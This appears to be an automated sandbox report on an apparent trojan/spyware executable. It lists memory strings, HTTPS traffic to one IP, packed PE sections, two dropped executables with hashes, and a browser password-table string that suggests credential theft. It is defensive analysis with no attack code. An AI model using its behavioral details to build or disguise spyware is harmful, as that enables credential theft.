Source: hBBxlxfQ3F.exe, 00000000.00000003.1641061225.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: hBBxlxfQ3F.exe, 00000000.00000003.1641061225.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: hBBxlxfQ3F.exe, 00000000.00000003.1641061225.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: hBBxlxfQ3F.exe, 00000000.00000003.1641061225.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: hBBxlxfQ3F.exe, 00000000.00000003.1641061225.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: hBBxlxfQ3F.exe, 00000000.00000003.1641061225.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.9:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.9:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.9:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.9:49718 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: hBBxlxfQ3F.exe	Static PE information: section name:
Source: hBBxlxfQ3F.exe	Static PE information: section name: .idata
Source: hBBxlxfQ3F.exe	Static PE information: section name:
Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.0.dr	Static PE information: section name:
Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.0.dr	Static PE information: section name: .idata
Source: ODUPR5K9IIA1563VE194RM.exe.0.dr	Static PE information: section name:
Source: ODUPR5K9IIA1563VE194RM.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_0114F442	0_3_0114F442
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_0116FBD9	0_3_0116FBD9
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_0116FBD9	0_3_0116FBD9
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_0116FBD9	0_3_0116FBD9
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_0116FBD9	0_3_0116FBD9

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe 196A92F8482CC549EFACDEC30DD39D0F662584F78FDD8FC612D28D48860A5123
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe 998C8DDDF5FC3D73A386669C03CE5A4D371FB1D09983B1828F3ED49598AF0B57

Source: hBBxlxfQ3F.exe, 00000000.00000003.1804427580.0000000005F0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1807143583.000000000602D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1801108868.0000000005F07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1805306781.0000000006021000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1793290777.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1800203274.0000000005F10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1812940190.0000000006195000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1801970396.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1800989221.0000000005FE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1808790746.0000000006041000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1810903989.0000000005F0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1799183174.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1800320016.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1796066743.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1795781833.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1799722381.0000000005FCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1801846400.0000000005FEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1806627088.0000000005F07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1806420342.000000000613E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1800737564.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1798305631.0000000005FB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1802706283.0000000006004000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1799295497.0000000005F0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1799037745.0000000005F0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1809584088.000000000617B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1795554604.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1830771523.00000000061C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1801719007.0000000005F0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1797536760.0000000005FAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1804855909.000000000600B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1806967073.0000000005F0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1803105386.0000000005F10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1804293036.0000000006014000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1804573999.0000000006014000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1802347050.0000000005F12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1808147225.0000000005F13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1803367329.0000000005F07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1798078049.0000000005FB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1798195822.0000000005F0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1807681410.0000000005F15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1804008953.000000000600F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1807954464.0000000006042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1797320690.0000000006044000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1801470995.0000000005F0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1812057107.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1797637382.0000000005F12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1802094117.0000000005FE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1802472212.0000000005FF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1837661996.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1802220140.00000000060D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1797109815.0000000005F0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1806803907.0000000006032000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1800615753.0000000005F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1797960736.0000000005F09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1812646112.0000000006046000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1801351669.00000000060C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1808343619.000000000603A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1801226914.0000000005FE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1798525597.0000000005F07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1810363941.000000000604F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1803234718.0000000005FFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1799632093.0000000005F09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1808983905.0000000006181000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1803640091.00000000060F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1804155101.0000000005F10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1813585721.0000000005F10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1811646457.0000000006046000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1805451440.0000000005F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1807380414.000000000614E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1795948044.0000000005F10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1802601614.0000000005F0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1805158339.0000000005F13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1793290777.0000000005BF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1800087072.0000000006091000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1805572838.0000000006025000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1809781008.0000000005F0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1809385210.0000000006043000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1837793521.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1797219054.0000000005FA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1805734127.0000000005F06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1800864415.0000000005F0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1806225049.000000000601C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1799519235.0000000006081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1798416296.000000000605E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1809181009.0000000005F07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1804713400.0000000005F09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1802975112.0000000006003000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1837742291.0000000005B0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1808543533.0000000005F0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1797844116.0000000006054000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1797427675.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1805006286.0000000006122000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1799836377.0000000005F06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1802841584.0000000005F06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1799404409.0000000005FC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1798632802.0000000005FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1798843671.0000000005FB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1798740233.0000000005F07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1797741405.0000000005FB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1806043696.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1805887805.0000000006018000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1801591496.0000000005FF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1803782683.0000000005F12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1803502214.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1810145787.0000000005F06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1799945562.0000000005FD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe
Source: hBBxlxfQ3F.exe, 00000000.00000003.1809958464.000000000604A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs hBBxlxfQ3F.exe

Source: hBBxlxfQ3F.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: hBBxlxfQ3F.exe	Static PE information: Section: ZLIB complexity 0.9974114404965754
Source: hBBxlxfQ3F.exe	Static PE information: Section: ztozznex ZLIB complexity 0.9947523148148149

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@3/3

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe

File created: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Jump to behavior

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hBBxlxfQ3F.exe, 00000000.00000003.1587972072.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp, hBBxlxfQ3F.exe, 00000000.00000003.1587541323.0000000005A88000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: hBBxlxfQ3F.exe

ReversingLabs: Detection: 52%

Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: ODUPR5K9IIA1563VE194RM.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe

File read: C:\Users\user\Desktop\hBBxlxfQ3F.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\hBBxlxfQ3F.exe "C:\Users\user\Desktop\hBBxlxfQ3F.exe"
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Process created: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe "C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe"
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Process created: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe "C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe"
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Process created: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe "C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe"	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Process created: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe "C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe"	Jump to behavior

